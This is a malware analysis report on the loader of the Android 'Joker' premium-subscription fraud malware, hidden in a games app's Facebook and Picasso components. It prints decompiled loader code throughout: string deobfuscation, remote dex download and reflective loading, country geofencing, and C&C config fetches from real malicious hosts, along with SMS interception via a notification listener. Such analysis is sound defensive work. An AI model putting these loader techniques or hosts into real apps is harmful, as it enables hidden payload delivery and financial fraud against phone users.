You are on page 1of 19

“Joker” adware loader analysis

Multi-layer targeted Android threat hidden in


Facebook and Picasso components.

Contents
1. Overview ..................................................................................................................................................... 2
2. Basic analysis ............................................................................................................................................... 4
3. Detailed loader analysis (1st layer) .............................................................................................................. 5
4. Detailed loader analysis (2nd layer) ........................................................................................................... 11
5. Conclusion ................................................................................................................................................. 16
6. Appendix A (strings decryption log): ......................................................................................................... 18
7. Appendix B (links) ...................................................................................................................................... 19

Dmytro Benedyk

15 Jan 2020
1. Overview

Today I want to tell you about the loader of known malware for Android named “Joker”, which methods were
used for hiding and hindering the analysis.

Joker malware steals Android users’ money by signing them up for premium subscriptions.

Based on the statistics from the link below we can assume that malware was installed at least 16737658 (16+
millions) times.

https://docs.google.com/spreadsheets/d/15Vf8mRfCjPy0m_7CbM--
luBFu4iUNHS9CPkNbEGPXhs/edit#gid=713782233

I chose application from the link above named “Comdy Games” for analysis.

https://play.google.com/store/apps/details?id=com.pieces.pile.comdy

Comdy Games is a small collection of Android games.

 Collect new games with multiple interests.


 You can play various games through one application.
 Including classic arcade games, puzzle games, sports games and more.
 Support mobile phones and tablets.

Illustration 1 – “Comdy Games” screenshots


At the time of the analysis the application was removed from the Google Play but you can download it for
analysis from the link below:

https://apk.support/download-app/com.pieces.pile.comdy

Illustration 2 – “Comdy Games” application information

The file is already present on the VirusTotal. We can compare the VT scan results on different dates.
As you can see, only 16 anti-viruses detect a malicious file to date.

Illustration 3 – VirusTotal scan results from 18 Dec 2019

Illustration 4 – VirusTotal scan results from 14 Jan 2020


2. Basic analysis

Usually I use APKInfo utility to get some general information about APK file.

Item Value
Application Comdy Games
Version 1.2
Build 2
Package com.pieces.pile.comdy
Min. SDK 16: Android 4.1 (Jelly Bean)
Target SDK 28: Android 9.0 (Pie)
Compile SDK 23: Android 6.0 (Marshmallow)
Permissions android.permission.ACCESS_NETWORK_STATE
android.permission.ACCESS_WIFI_STATE
android.permission.CHANGE_WIFI_STATE
android.permission.INTERNET
android.permission.READ_PHONE_STATE
android.permission.WAKE_LOCK
com.google.android.finsky.permission.BIND_GET_INSTALL_REFERRER_SERVICE
Name Comdy Games 1.2.2.apk

Actually this tool doesn’t show the full list of used permissions. For this purpose, we will use JADX decompiler
and found more permissions that are used by some services and receivers.

Permission Description
android.permission.INSTALL_PACKAGES Allows an application to install packages.
Not for use by third-party applications.
android.permission.BIND_JOB_SERVICE Grants permission of your sub-class of JobService for job
execution
android.permission. Must be required by an NotificationListenerService, to ensure
BIND_NOTIFICATION_LISTENER_SERVICE that only the system can bind to it.

Also I use JADX to find entry points for analysis in manifest.


3. Detailed loader analysis (1st layer)

Let’s pay attention to the application activity. This part is very important because we need to define the
vectors to analyze.

The manifest lists some activities. Quick inspection of the code gives an understanding of what they actually
do:

Activity Short description


com.freegames.gamebox.PlayGame Playing games activity
Main activity (contains strange code), needs to be analyzed in
com.freegames.gamebox.MainActivity
detail
com.google.android.gms.ads.AdActivity Advertising activity
com.facebook.FacebookActivity Some Facebook routine
com.facebook.CustomTabMainActivity Some Facebook routine
com.facebook.CustomTabActivity Some Facebook routine
com.freegames.gamebox.ShiA Unknown (Strange) activity, needs to be analyzed in detail

This activity has a number of unnecessary properties:


<activity android:theme="@style/Theme.Translucent.NoTitleBar" android:name="com.freegames.gamebox.ShiA"/>

As we can see in the properties, the author doesn’t want us to see this activity:

Property Description
NoTitleBar Hides the titlebar of your application.
Translucent Adding this code to your activity tag in manifest file will make Android activity
transparent.

We can find another activity with transparent theme but it is a valid advertisement activity (not a malicious),
therefore this part is not valuable for this article.
<activity android:theme="@style/Theme.Translucent" android:name="com.google.android.gms.ads.AdActivity"
android:exported="false"
android:configChanges="keyboard|keyboardHidden|orientation|screenLayout|uiMode|screenSize|smallestScreenSize"/
>

Let’s start from analyzing “ShiA” activity:


package com.freegames.gamebox;

import android.app.Activity;
import android.os.Bundle;
import com.facebook.messenger.a;

public class ShiA extends Activity {


public void onCreate(Bundle bundle) {
super.onCreate(bundle); }
public void onResume() {
super.onResume();
a.c(this); }
}
Some suspicious call of “a.c” method from “com.facebook.messenger” package.

What's this code doing?


private static final String[] a = {"android.permission.READ_PHONE_STATE"};

public static boolean b(Activity activity) {


return Build.VERSION.SDK_INT < 23 || activity.checkSelfPermission(a[0]) == 0; }

private static void e(Activity activity) {


if (Build.VERSION.SDK_INT >= 23) {
activity.requestPermissions(a, 10);
}
}

activity.startActivity(new Intent("android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS"));

1. Checks for READ_PHONE_STATE permission.


2. If it doesn't have one, it’ll try to obtain it.
3. Starts its own activity.

The official Android SDK documentation states the following:

Activity Description
ACTION_NOTIFICATION_ Activity Action: Show Notification listener settings.
LISTENER_SETTINGS
In some cases, a matching Activity may not exist, so ensure you safeguard
against this.

Notification access is disabled by default — apps can use a new Intent to take the user directly to the Settings
to enable the listener service after installation.

This activity is used for intercepting SMS.

The preparatory part is described above, the most interesting part begins in the “MainActivity”:

Illustration 5 – “MainActivity” decompiled source code


We found some a call with obfuscated method name:

Illustration 6 – Suspicious classes in the “Facebook” components

Let’s analyze the “c” class code:


package com.squareup.picasso;
import android.content.Context;
import java.io.File;

public final class c {


private static c a;
private static String b;
private Context c;
static {
c.b = a.a("jvvru<11nquh0quu/gw/yguv/30cnk{wpeu0eqo1efu1dnwt1") + "comd";
}
private c(Context arg1) {
this.c = arg1; }
public static c a(Context arg1) {
if(c.a == null) {
c.a = new c(arg1);
}
return c.a; }
public void a() {
if(this.b()) {
com.facebook.login.c.b(this.c, c.b);
return;
}
com.facebook.login.c.a(this.c, c.b); }
public static void b(Context arg0) {
c.a(arg0).a(); }
private boolean b() {
File v0 = com.facebook.login.a.a(this.c, c.b);
if((v0.exists()) && v0.length() > 0L) {
return 1; }
return 0; }
}

Method “private boolean b()” checks for file presents:


package com.facebook.login;

import android.content.Context;
import java.io.File;

public class a {
public static File a(Context context, String str) {
return new File(context.getFilesDir(), a(str));
}
public static String a(String str) {
return str.split("/")[str.split("/").length - 1];
}
}

If the file with name “comd” doesn’t exist in the application’s folder then malware downloads it from

https://losf.oss-eu-west-1.aliyuncs.com/cds/blur/comd
The above link was decrypted with my utility (see it on my GitHub).

Here’s the string decryptor method directly from it:


package com.squareup.picasso;

public class a {
public static String a(String arg2) {
byte[] v2 = arg2.getBytes();
int v0;
for(v0 = 0; v0 < v2.length; ++v0) {
v2[v0] = (byte)(v2[v0] - 2);
}
return new String(v2);
}
}

I decided to write a simple tool that will find (with regex) and decrypt all encrypted strings in project files.

The list of decrypted strings:

 dalvik.system.DexClassLoader
 java.lang.ClassLoader
 dalvik.system.DexClassLoader
 loadClass
 com.memory.think.Youth
 young
 android.permission.READ_PHONE_STATE
 android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS
 enabled_notification_listeners
 sp_noti
 noti_text
 https://losf.oss-eu-west-1.aliyuncs.com/cds/blur/

The full log from my utility is in Appendix A.

At this moment we can guess as to how these strings were used but we'll keep moving baby steps.

The code that downloads this file from its malicious C&C uses the “OkHttpClient” library method:
public static void a(Context context, String str) {
new OkHttpClient().newCall(new Request.Builder().get().url(str).build()).enqueue(new b(context, str));
}
Illustration 7 – Downloading 1st layer payload

The downloaded file is jar file that contains dex file.

The next step is loading this file as dex:


package com.facebook.login;

public class d {
public static void a(Context context, String str) {
try {
Object a = b.a(b.a("dalvik.system.DexClassLoader", (Class<?>[]) new Class[]{String.class,
String.class,
String.class, b.a("java.lang.ClassLoader")}),
a.a(context, str).getPath(),
context.getApplicationInfo().dataDir,
null,
context.getClassLoader());
Method a2 = b.a("dalvik.system.DexClassLoader", "loadClass", (Class<?>[]) new
Class[]{String.class});
Object[] objArr = {"com.memory.think.Youth"};
b.a(b.a((Class<?>) (Class) b.a(a2, a, objArr), "young", (Class<?>[]) new Class[]{Context.class}),
(Object) null, context);
} catch (Exception e) {
e.printStackTrace();
a.a(context, str).delete();
}
}
}

This code loads a dex file and executes the method “young” from “Youth” class which resides in
“com.memory.think” package.
Illustration 8 – Decompiled code of “com.memory.think” package

In turn, the “young” method executes “start” method that contains the most important part of the code.

That would be the 2nd layer of Joker’s loader.


4. Detailed loader analysis (2nd layer)

The received dex file can be easily decompiled with JADX or JEB decompiler. The code is not obfuscated and
it is clear for understanding.

Let’s analyze the most valuable parts of it.

First of all, malware loader attempts to get mobile country code using “getSimOperator” function and
compares result with two values: 310 and 302.
public void start() {
TelephonyManager tm = (TelephonyManager) this.mContext.getSystemService("phone");
String iso = tm != null ? tm.getSimOperator() : null;
if (iso != null && iso.length() >= INDEX_DEX_STEP) {
this.mIso = iso.substring(0, INDEX_DEX_STEP);
if (!"310".equals(this.mIso) && !"302".equals(this.mIso)) {
// … code
}
}
}

“getSimOperator” is a function from the big class “TelephonyManager”.

“TelephonyManager” provides access to information about the telephony services on the device. Applications
can use the methods in this class to determine telephony services and states, as well as to access some types
of subscriber information. Applications can also register a listener to receive notification of telephony state
changes.

Function Description
Returns the MCC+MNC (mobile country code + mobile network code) of the provider
getSimOperator of the SIM. 5 or 6 decimal digits.
Availability: SIM state must be SIM_STATE_READY

Using the above-mentioned information, we can assume that this part of the code checks for the victim’s
country, known as MCC (Mobile Country Code) and the condition will be carried out if the MCC not equals to
310 and 302.

The list of countries and their MCC can be found on these web-resources:

https://www.mcc-mnc.com/

https://cellidfinder.com/mcc-mnc

MCC Country
302 Canada
310 United States

Canada and USA are whitelisted. Malware will not execute any malicious actions.

Then malware initializes some variables and calls “LoadConfig()” function.


private void loadConfig() {
String result = this.mSharedConfig.getString(this.mShareKey, (String) null);
if (!TextUtils.isEmpty(result)) {
handleConfig(result);
return;
}
String result2 = Http.get("http://3.122.143.26/api/ckwkc2?icc=" + genCode());
if (result2 == null) {
try {
Thread.sleep(300000);
} catch (InterruptedException e) {
}
loadConfig();
} else if (!"".equals(result2)) {
this.mSharedConfig.edit().putString(this.mShareKey, result2).commit();
handleConfig(result2);
}
}

The code above is definitely clear.

It generates some value with “genCode” function, concatenates it with the first part of the link and executes
HTTP GET request.

If it doesn’t get the response it suspends execution for 5 minutes, otherwise it saves the response to the
application’s configuration file (the decrypted name of that file is “mShareKey” value) and parses the response
with “handleConfig” function.

For better understanding and demonstration, I rewrote this part of code a little bit (you can find it on my
GitHub: https://github.com/r3v3rs3r/joker_loader).

The full log of the execution:


ShareKey: fEpRgT
Path to files: E:\Android_mlw\mlw_loader\untitled
E:\Android_mlw\mlw_loader\untitled\downloaded
Encrypted Dex: QfEpRg
Decrypted Dex: RgTrYsUh
Result from C&C =
f404cca6da7411ffbe31510799548654a843b270134ff407fb7bbe679bc9e29a072c2ed74e7a69c6c1ceddb290ae04383a78484fa27
2bd984ab12db1a333ff12d6b85904a1f13e80e02d2c8a51969f8802bc717797ff524a8ce4aa94864ee300c4622986d81d9c81a8d6d8
ed5a6e1f1fec62bcba679ba76e2c4113a24fc949496e95809d8ebe722e38bd88671e1a8d44
decrypted_config = &s&https://lamda.oss-eu-west-1.aliyuncs.com/s8-12-
release&s&18&s&32&s&com.plane.internal.Entrance&s&initialize&s&http://18.139.46.15/&s&umrtXB

The malicious website doesn’t respond to every request. Therefore, I had to brute-force all the of the possible
MCC values.

The list of countries whose citizens are susceptible to attacks:

MCC Country MCC Country


202 Greece 286 Turkey
204 Netherlands 293 Slovenia
206 Belgium 410 Pakistan
214 Spain 413 Sri Lanka
222 Italy 414 Myanmar
228 Switzerland 415 Lebanon
232 Austria 418 Iraq
234 UK 419 Kuwait
235 UK 420 Saudi Arabia
238 Denmark 424 United Arab Emirates
240 Sweden 427 Qatar
242 Norway 460 China
244 Finland 470 Bangladesh
250 Russia 502 Malaysia
255 Ukraine 510 Indonesia
260 Poland 520 Thailand
262 Germany 525 Singapore
268 Portugal 602 Egypt
270 Luxembourg 603 Algeria
272 Ireland 716 Peru
280 Cyprus

private void handleConfig(String config) {


try {
String config2 = new Des(this.mPkg, this.mIso).desDecrypt(config);
this.mConfigs = config2.split(config2.substring(0, INDEX_DEX_STEP));
for (int i = INDEX_DEX_URL; i < this.mConfigs.length; i += INDEX_DEX_URL) {
}
requestPermissions();
loadDex();
} catch (Exception e) {
}
}

The valuable parts are:

1. Response decryption (you can find encrypted and decrypted data in the log output above).
2. Initialization (parsing) of “mConfig” values using the “split” function.
3. Loading dex file via “loadDex” function.

The indexes and values of “mConfigs” variable are as follows:

Index of
mConfigs values
parameter
0
1 https://lamda.oss-eu-west-1.aliyuncs.com/s8-12-release
2 18
3 32
4 com.plane.internal.Entrance
5 initialize
6 http://18.139.46.15/
7 umrtXB
Now is the time to analyze “loadDex()” function.
private void loadDex() {
if (this.mTargetDex.exists()) {
launchSdk();
return;
}
if (this.mEncryptedDex.exists()) {
this.mEncryptedDex.delete();
}
Http.download(this.mConfigs[INDEX_DEX_URL], this.mEncryptedDex);
if (this.mEncryptedDex.exists() && this.mEncryptedDex.length() > 0) {
decryptDex();
if (this.mTargetDex.exists()) {
launchSdk();
}
}
}

The most interesting part of this function is downloading and decrypting.

mConfigs[INDEX_DEX_URL] == mConfigs[1] == https://lamda.oss-eu-west-1.aliyuncs.com/s8-12-release

It means that malicious code downloads a file from this link:

https://lamda.oss-eu-west-1.aliyuncs.com/s8-12-release

Illustration 9 – Encrypted contents of the downloaded file

Looks like the file is a zip-archive (“PK” magic value) file.

The “decryptDex” functions decrypts it.

Illustration 10 – Information about decrypted file

If the decryption finished successfully then malware attempts to load dex file and transfer control of
execution to the “initialize” function from “com.plane.internal” from “Entrance” class (see parameters in
the table).
Function “initialize” accepts 3 parameters:

 Context context
 String host
 String tagSms

Object[] objArr = new Object[INDEX_DEX_STEP];


objArr[0] = this.mContext;
objArr[INDEX_DEX_URL] = this.mConfigs[INDEX_HOST];
objArr[INDEX_DEX_START] = this.mConfigs[INDEX_TAG];
method.invoke((Object) null, objArr);

In our case:

INDEX_DEX_STEP = 3;
INDEX_HOST = 6
INDEX_TAG = 7

It means that the code creates array from 3 elements where

1st item = context


2nd item = http://18.139.46.15/
3rd item = umrtXB

The application passes these parameters to the “initialize” function.

Illustration 11 – Initialization of main Joker payload

At this point, the main Joker’s payload begins but that's a different story.
5. Conclusion

 The authors inserted the Joker’s loader initialization functions into the legal frameworks, in our case
they used Facebook SDK
https://developers.facebook.com/docs/android/componentsdks/
and Picasso (a powerful image downloading and caching library for Android)
https://github.com/square/picasso

 The authors used two layers of loading Joker payload.

 Malicious code whitelists two countries: USA and Canada.

 C&C server script recognizes a certain list of countries only.

 DEX decryption and loading (both DES encryption and custom encryption routines are used).

 A notification listener used for intercepting SMS messages.

 C&C servers are still alive and hosted on the Amazon.


 C&C admin panel is in Chinese
6. Appendix A (strings decryption log):
path:encrfolder\com\facebook\login\d.java

encrypted: fcnxkm0u{uvgo0FgzEncuuNqcfgt
decrypted: dalvik.system.DexClassLoader

encrypted: lcxc0ncpi0EncuuNqcfgt
decrypted: java.lang.ClassLoader

encrypted: fcnxkm0u{uvgo0FgzEncuuNqcfgt
decrypted: dalvik.system.DexClassLoader

encrypted: nqcfEncuu
decrypted: loadClass

encrypted: eqo0ogoqt{0vjkpm0[qwvj
decrypted: com.memory.think.Youth

encrypted: {qwpi
decrypted: young
==================================================================
path:encrfolder\com\facebook\messenger\a.java

encrypted: cpftqkf0rgtokuukqp0TGCFaRJQPGaUVCVG
decrypted: android.permission.READ_PHONE_STATE

encrypted: cpftqkf0ugvvkpiu0CEVKQPaPQVKHKECVKQPaNKUVGPGTaUGVVKPIU
decrypted: android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS

encrypted: gpcdngfapqvkhkecvkqpankuvgpgtu
decrypted: enabled_notification_listeners
==================================================================
path:encrfolder\com\facebook\messenger\b.java

encrypted: urapqvk
decrypted: sp_noti

encrypted: pqvkavgzv
decrypted: noti_text

==================================================================
path:encrfolder\com\squareup\picasso\c.java

encrypted: jvvru<11nquh0quu/gw/yguv/30cnk{wpeu0eqo1efu1dnwt1
decrypted: https://losf.oss-eu-west-1.aliyuncs.com/cds/blur/
7. Appendix B (links)

My GitHub:

https://github.com/r3v3rs3r/StrDecrypt_comdy_games

https://github.com/r3v3rs3r/joker_loader

Other links:

https://github.com/Enyby/APK-Info

https://github.com/skylot/jadx

https://www.mrasta.com/android/create-android-transparent-activity/

https://www.jetbrains.com/idea/

You might also like